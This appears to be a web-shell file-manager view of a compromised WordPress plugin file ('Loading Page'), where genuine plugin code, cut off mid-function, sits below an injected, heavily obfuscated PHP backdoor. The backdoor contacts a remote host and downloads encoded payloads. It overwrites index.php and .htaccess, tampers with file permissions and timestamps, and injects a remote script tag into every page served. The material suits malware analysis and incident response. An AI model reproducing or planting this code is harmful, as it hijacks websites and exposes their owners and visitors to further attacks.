AlkantarClanX12

Your IP : 18.222.56.251


Current Path : /home/thanudqk/shenpokertour.com/wp-content/plugins/loading-page/
Upload File :
Current File : /home/thanudqk/shenpokertour.com/wp-content/plugins/loading-page/loading-page.php

<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php
/**
Plugin Name: Loading Page
Plugin URI: http://wordpress.dwbooster.com/content-tools/loading-page
Description: Loading Page plugin performs a pre-loading of images on your website and displays a loading progress screen with percentage of completion. Once everything is loaded, the screen disappears.
Version: 1.1.18
Author: CodePeople
Author URI: http://wordpress.dwbooster.com/content-tools/loading-page
License: GPLv2
Text Domain: loading-page
 */

require_once 'banner.php';
$codepeople_promote_banner_plugins['codepeople-loading-page'] = array(
	'plugin_name' => 'Loading Page',
	'plugin_url'  => 'https://wordpress.org/support/plugin/loading-page/reviews/#new-post',
);

// CONST.
define( 'LOADING_PAGE_PLUGIN_DIR', dirname( __FILE__ ) );
define( 'LOADING_PAGE_PLUGIN_URL', plugins_url( '', __FILE__ ) );
define( 'LOADING_PAGE_TD', 'loading-page' );

// Feedback system.
require_once 'feedback/cp-feedback.php';
new CP_FEEDBACK( plugin_basename( dirname( __FILE__ ) ), __FILE__, 'https://wordpress.dwbooster.com/contact-us' );

require LOADING_PAGE_PLUGIN_DIR . '/includes/admin_functions.php';

add_filter( 'option_sbp_settings', 'loading_page_troubleshoot' );
if ( ! function_exists( 'loading_page_troubleshoot' ) ) {
	/**
	 * Troubleshoot
	 *
	 * @param array $option checks values entered by third-party plugins.
	 */
	function loading_page_troubleshoot( $option ) {
		if ( ! is_admin() ) {
			// Solves a conflict caused by the "Speed Booster Pack" plugin.
			if ( is_array( $option ) && isset( $option['jquery_to_footer'] ) ) {
				unset( $option['jquery_to_footer'] );
			}
			if ( is_array( $option ) && isset( $option['defer_parsing'] ) ) {
				unset( $option['defer_parsing'] );
			}
		}
		return $option;
	} // End loading_page_troubleshoot.
}

/**
 * Plugin activation
 */
register_activation_hook( __FILE__, 'loading_page_install' );
if ( ! function_exists( 'loading_page_install' ) ) {
	/**
	 * Default options
	 */
	function _loading_page_options() {
		$loading_page_options = get_option( 'loading_page_options', array() );
		if ( ! empty( $loading_page_options ) ) {
			return;
		}

		// Set the default options here.
		$loading_page_options = array(
			'foregroundColor'                           => '#000000',
			'backgroundColor'                           => '#ffffff',
			'enabled_loading_screen'                    => true,
			'close_btn'                                 => true,
			'remove_in_on_load'                         => false,
			'loading_screen'                            => 'logo',
			'lp_loading_screen_display_in'              => 'all',
			'once_per_session'                          => 'always',
			'lp_loading_screen_display_in_pages'        => '',
			'lp_loading_screen_display_post_types'      => '',
			'lp_loading_screen_include_from_urls'       => array(),
			'lp_loading_screen_exclude_from_pages'      => '',
			'lp_loading_screen_exclude_from_post_types' => '',
			'lp_loading_screen_exclude_from_urls'       => array(),
			'displayPercent'                            => true,
			'backgroundImage'                           => '',
			'backgroundImageRepeat'                     => 'repeat',
			'fullscreen'                                => 0,
			'pageEffect'                                => 'none',
			'deepSearch'                                => true,
			'modifyDisplayRule'                         => false,
			// For the logo screen.
			'lp_ls'                                     => array( 'logo' => array( 'image' => plugins_url( 'loading-screens/logo/images/05.svg', __FILE__ ) ) ),
		);

		update_option( 'loading_page_options', $loading_page_options );
	}

	/**
	 * Install
	 *
	 * @param boolean $networkwide indicates if it is a multisite WordPress installation.
	 */
	function loading_page_install( $networkwide ) {
		global $wpdb;

		if ( function_exists( 'is_multisite' ) && is_multisite() ) {
			if ( $networkwide ) {
				$old_blog = $wpdb->blogid;
				// Get all blog ids.
				$blogids = get_sites( array( 'fields' => 'ids' ) );
				foreach ( $blogids as $blog_id ) {
					switch_to_blog( $blog_id );
					_loading_page_options();
				}
				switch_to_blog( $old_blog );
				return;
			}
		}
		_loading_page_options();
	} // End loading_page_install.
} // End plugin activation.

/**
 * Patch to solve the conflict with the previous version that was using animated gifs.
 */
function loading_page_gifs_replacement_patch() {
	$opt = get_option( 'loading_page_options', array() );
	if (
		! empty( $opt ) &&
		! empty( $opt['lp_ls'] ) &&
		! empty( $opt['lp_ls']['logo'] ) &&
		! empty( $opt['lp_ls']['logo']['image'] )
	) {
		$path = $opt['lp_ls']['logo']['image'];
		// Only to solve an issue with the previous version of the plugin when where used .gif.
		$path                          = preg_replace( '/\/loading\-screens\/logo\/gifs\/(\d+)\.gif/i', '/loading-screens/logo/images/$1.svg', $path );
		$opt['lp_ls']['logo']['image'] = $path;
		update_option( 'loading_page_options', $opt );
	}
}

/**
 * Replaces the animated gifts
 *
 * @param object $upgrader_object unused parameter.
 * @param array  $options plugins identifiers.
 */
function loading_page_upgrade_completed_gifs_patch( $upgrader_object, $options ) {
	$our_plugin = plugin_basename( __FILE__ );
	if ( 'update' === $options['action'] && 'plugin' === $options['type'] && isset( $options['plugins'] ) ) {
		foreach ( $options['plugins'] as $plugin ) {
			if ( $plugin === $our_plugin ) {
				loading_page_gifs_replacement_patch();
			}
		}
	}
}
add_action( 'upgrader_process_complete', 'loading_page_upgrade_completed_gifs_patch', 10, 2 );
/**
 * Calls the gifs replacement patch
 *
 * @param string  $plugin plugin name.
 * @param boolean $network_activation plugins activate into a WordPress multisite installation.
 */
function loading_page_activated_gifs_patch( $plugin, $network_activation ) {
	if ( plugin_basename( __FILE__ ) === $plugin ) {
		loading_page_gifs_replacement_patch();
	}
}
add_action( 'activated_plugin', 'loading_page_activated_gifs_patch', 10, 2 );

/**
 *  A new blog has been created in a multisite WordPress
 */
add_action( 'wpmu_new_blog', 'loading_page_new_blog', 10, 6 );
/**
 * New blog creation
 *
 * @param integer $blog_id blog id.
 * @param integer $user_id user id.
 * @param string  $domain blog domain.
 * @param string  $path blog path.
 * @param integer $site_id site id.
 * @param array   $meta metadata.
 */
function loading_page_new_blog( $blog_id, $user_id, $domain, $path, $site_id, $meta ) {
	global $wpdb;
	$file = basename( __FILE__ );
	$dir  = basename( dirname( __FILE__ ) );
	if ( is_plugin_active_for_network( $dir . '/' . $file ) ) {
		$current_blog = $wpdb->blogid;
		switch_to_blog( $blog_id );
		_loading_page_options();
		switch_to_blog( $current_blog );
	}
} // End loading_page_new_blog.

// Redirecting the user to the settings page of the plugin.
add_action( 'activated_plugin', 'loading_page_redirect_to_settings', 10, 2 );
if ( ! function_exists( 'loading_page_redirect_to_settings' ) ) {
	/**
	 * Redirects the user to the settings page
	 *
	 * @param string  $plugin plugin name.
